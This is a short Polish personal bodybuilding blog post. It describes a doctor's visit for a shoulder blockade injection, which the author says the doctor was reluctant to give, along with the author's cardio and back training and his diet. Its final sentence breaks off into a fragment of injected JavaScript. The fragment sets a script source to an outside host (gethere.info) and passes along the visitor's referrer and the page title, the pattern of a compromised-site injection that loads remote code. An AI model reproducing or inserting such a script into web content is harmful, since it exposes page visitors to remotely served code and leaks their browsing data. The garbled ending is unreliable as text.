Wizyta u lekarza

21.09.2011 / Michał Karmowski

Wczoraj dzień rozpocząłem bez porannego cardio,  musiałem przesunąć trening na wsześniejszą  godzinę bo miałem wizytę u lekarza. Musiałem sobie wstrzyknąć blokadę w bark bo ból był tak duży , że nie mogłem wogóle trenować. Nawet zwykłe czynności w ciągu dnia  sprawiały mi ogromną trudność, lekarz nie chciał mi tego zrobić ale ja się uparłem i mam. Dziś jest dużo lepiej rano normalne cardio na bieżni i po południu plecy fajnie przetrenowane, wieczorem jeszcze jedna sesja 30 min na maszynie eliptycznej , a teraz siedzę i jem ostatni posiłek 300g kurczaka i 50g  masłą  jori.

dieta i suplementacja bez zmian a jutro w końcu dzień wolny zrobię tylko 2 sesje cario po 30 mins.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”;